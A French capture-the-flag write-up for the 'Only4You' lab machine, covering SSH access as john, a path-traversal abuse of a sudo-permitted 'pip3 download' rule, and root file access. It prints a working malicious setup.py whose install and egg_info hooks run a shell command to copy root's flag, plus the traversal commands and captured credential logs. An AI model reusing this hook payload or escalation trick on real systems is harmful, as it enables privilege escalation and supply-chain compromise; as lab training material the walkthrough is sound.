10.10.11.210 - - [13/Aug/2023 11:50:51] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:51] "GET /?username=john HTTP/1.1" 200 -

6 - SSH avec John

ssh avec john et le flag user est là

[x6r3g@e14 ~]$ ssh john@only4you.htb
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'only4you.htb,10.10.11.210' (ECDSA) to the list of known hosts.
john@only4you.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64)
...
Last login: Sun Aug 13 05:38:31 2023 from 10.10.14.198

[john@only4you:~]$ cat user.txt
47967b***********************

7 - PIP to root

Reconaissance dans l’environnement de john via sudo.

[john@only4you:~]$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

C’est sûrement là que ça va se passer, via pip3 en tant que root gtfobin pour PIP, doc de PIP ….

Je maintiens le pivot via Chisel et me penche sur ce qui n’a pas encore servi, Gogs

Gogs sur 127.0.0.1:3000

Le service tourne et on a l’emplacement des fichiers

[john@only4you:~]$ systemctl status gog*
● gogs.service - Gogs
     Loaded: loaded (/etc/systemd/system/gogs.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2023-08-13 10:26:09 UTC; 4h 33min ago
   Main PID: 1184
      Tasks: 6 (limit: 4573)
     Memory: 68.4M
     CGroup: /system.slice/gogs.service
             └─1184 /opt/gogs/gogs web

Mais il n’y a que dev qui ait les droits, john n’étant pas non plus dans le groupe dev

[john@only4you:~]$ ls -alF /opt/
total 16
drwxr-xr-x  4 root root 4096 Dec  8  2022 ./
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ../
drwxr-----  6 dev  dev  4096 Aug 13 15:00 gogs/
drwxr-----  6 dev  dev  4096 Mar 30 11:51 internal_app/
[john@only4you:~]$ id
uid=1000(john) gid=1000(john) groups=1000(john)

Chemin non contraint

je cherche où sont stockés les fichiers qu’on peut dl mais je pense qu’on peut directement exploiter le wildcard du genre ...:3000/*../../../../../home/john/x.tar.gz Je teste pour voir,

[john@only4you:~]$ /usr/bin/pip3 download http://localhost:3000/../../../../../home/john/x.tar.gz
Collecting http://localhost:3000/../../../../../home/john/x.tar.gz
  ERROR: HTTP error 404 while getting http://localhost:3000/../../../../../home/john/x.tar.gz
  ERROR: Could not install requirement http://localhost:3000/../../../../../home/john/x.tar.gz because of error 404 Client Error: Not Found for url: http://localhost:3000/home/john/x.tar.gz
ERROR: Could not install requirement http://localhost:3000/../../../../../home/john/x.tar.gz because of HTTP error 404 Client Error: Not Found for url: http://localhost:3000/home/john/x.tar.gz for URL http://localhost:3000/../../../../../home/john/x.tar.gz

Je ne sais pas si ça ne marche pas ou si c’est parce que le fichier n’existe pas, du coup je crée un fichier pour voir si l’erreur est différente

[john@only4you:~]$ touch x.tar.gz
[john@only4you:~]$ /usr/bin/pip3 download http://localhost:3000/../../../../../home/john/x.tar.gz
Collecting http://localhost:3000/../../../../../home/john/x.tar.gz
  File was already downloaded /home/john/x.tar.gz
ERROR: Exception:
Traceback (most recent call last):
  File "/usr/lib/python3.8/tarfile.py", line 2318, in next
    tarinfo = self.tarinfo.fromtarfile(self)
  File "/usr/lib/python3.8/tarfile.py", line 1105, in fromtarfile
    obj = cls.frombuf(buf, tarfile.encoding, tarfile.errors)
  File "/usr/lib/python3.8/tarfile.py", line 1041, in frombuf
    raise EmptyHeaderError("empty header")
tarfile.EmptyHeaderError: empty header

During handling of the above exception, another exception occurred:
...inutile...
  File "/usr/lib/python3.8/tarfile.py", line 2333, in next
    raise ReadError("empty file")
tarfile.ReadError: empty file

C’est ça, l’erreur ReadError("empty file") confirme que ça marche. Test d’un lien symbolique x.tar.gz vers /root/root.txt , nok.

Recherche d’infos pour crée une archive qui me donnerait un shell root ou une lecture du /root/root.txt

recherche sur pip tar gz malicious

Je modifie juste le code pour copier le fichier dans le home de john plutôt que mettre un suid sur le bash.

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
        # Arbitrary code here!
        import os;os.system("cp /root/root.txt /home/john;chmod 777 /home/john/root.txt")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "exploitpy",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

j’upload dans le home de john, et lance la commande qui se déroule avec succès

[john@only4you:~]$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/../../../../../home/john/exploitpy-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/../../../../../home/john/exploitpy-0.0.1.tar.gz
  File was already downloaded /home/john/exploitpy-0.0.1.tar.gz
Successfully downloaded exploitpy

Le flag root est bien copié et lisible par john.

[john@only4you:~]$ ls
exploitpy-0.0.1.tar.gz  root.txt  user.txt
[john@only4you:~]$ cat root.txt
080b10***********************